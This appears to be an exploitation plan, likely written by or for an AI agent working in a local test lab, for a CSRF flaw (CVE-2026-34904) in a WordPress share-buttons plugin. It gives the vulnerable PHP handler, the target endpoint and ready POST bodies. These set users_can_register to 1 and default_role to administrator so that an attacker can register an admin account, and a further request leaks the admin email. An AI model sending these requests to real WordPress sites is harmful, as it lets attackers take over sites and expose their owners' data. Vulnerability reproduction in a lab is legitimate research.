Exploitation Research Plan - CVE-2026-34904

1. Vulnerability Summary

The Simple Social Media Share Buttons plugin (<= 6.2.0) is vulnerable to Cross-Site Request Forgery (CSRF) due to missing nonce validation and capability checks in the lib/wpb-sdk/views/wpb-debug.php file. This file is part of the WPBrigade SDK integrated into the plugin. It contains several POST request handlers that perform sensitive operations, most notably allowing the modification of arbitrary WordPress options via the update_option function.

2. Attack Vector Analysis

• Target Endpoint: An administrative page within the WordPress dashboard that includes the wpb-debug.php view. Based on the plugin's slug, this is typically accessed at /wp-admin/admin.php?page=simple-social-buttons&view=debug or a similar SDK-injected route.
• Vulnerable Parameters:
  • set_option_name: The name of the WordPress option to modify.
  • option_value: The new value for the specified option.
  • load_option_name: The name of an option to retrieve and display (Information Leak).
• Authentication: Requires a victim with administrative privileges to be logged in and tricked into submitting a request (e.g., via an auto-submitting hidden form).
• Preconditions: The plugin "Simple Social Media Share Buttons" must be active.

3. Code Flow

1. Entry Point: The administrator visits the plugin's debug page or is forced to send a POST request to the URL associated with the SDK's debug view.
2. File Inclusion: The plugin (via the WPBrigade SDK) includes lib/wpb-sdk/views/wpb-debug.php.
3. Processing: At the top of wpb-debug.php, the code checks for POST parameters:

   if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['set_option_name']) && isset($_POST['option_value'])) {
       $option_name = $_POST['set_option_name'];
       $option_value = $_POST['option_value'];
       custom_plugin_set_option($option_name, $option_value); // Sink 1: update_option
       echo '<div id="success_message">Successfully set the option</div>';
   }
   

4. Sink: The function custom_plugin_set_option (defined in the same file) calls update_option($option_name, $option_value) without any permission or nonce checks.

4. Nonce Acquisition Strategy

According to the source code analysis, no nonce validation is implemented in the POST handlers within lib/wpb-sdk/views/wpb-debug.php.

• The code directly checks $_SERVER['REQUEST_METHOD'] === 'POST' and isset($_POST['...']).
• There is no call to check_admin_referer(), check_ajax_referer(), or wp_verify_nonce().
• Conclusion: No nonce is required for exploitation.

5. Exploitation Strategy

The objective is to change critical WordPress settings to compromise the site. We will target the users_can_register and default_role options to allow the attacker to register a new administrator account.

Step 1: Enable Open Registration

• Action: Update users_can_register to 1.
• HTTP Tool: http_request
• Method: POST
• URL: http://localhost:8080/wp-admin/admin.php?page=simple-social-buttons&view=debug
• Headers: Content-Type: application/x-www-form-urlencoded
• Body: set_option_name=users_can_register&option_value=1

Step 2: Set Default Role to Administrator

• Action: Update default_role to administrator.
• HTTP Tool: http_request
• Method: POST
• URL: http://localhost:8080/wp-admin/admin.php?page=simple-social-buttons&view=debug
• Body: set_option_name=default_role&option_value=administrator

Step 3: (Optional/Indicator) Change Site Title

• Action: Change blogname to "Hacked Site".
• Body: set_option_name=blogname&option_value=Exploited

6. Test Data Setup

1. Ensure the plugin is installed and activated: wp plugin activate simple-social-buttons.
2. Ensure a standard administrator user exists to act as the victim (cookies must be captured or session simulated for the http_request tool).
3. Verify the default state: wp option get users_can_register should be 0 and wp option get default_role should be subscriber.

7. Expected Results

• The response to the POST requests should contain the string: Successfully set the option.
• The WordPress database options should be updated immediately.

8. Verification Steps

After executing the exploit via http_request, verify the changes using WP-CLI:

1. wp option get users_can_register (Expected: 1)
2. wp option get default_role (Expected: administrator)
3. wp option get blogname (Expected: Exploited)

9. Alternative Approaches

If the view=debug parameter is incorrect or the SDK is mapped differently:

• Use browser_navigate to /wp-admin/admin.php?page=simple-social-buttons and inspect the "Debug" tab/link to find the exact URL.
• If the "Set DB Option" form is hidden via JS, the http_request tool will still work as the backend PHP handler does not check for visibility.
• Target the load_option_name parameter to leak the wpb_sdk_module_id or other sensitive keys:
  • Body: load_option_name=admin_email
  • Expected: The response will display the admin's email address in the #result div.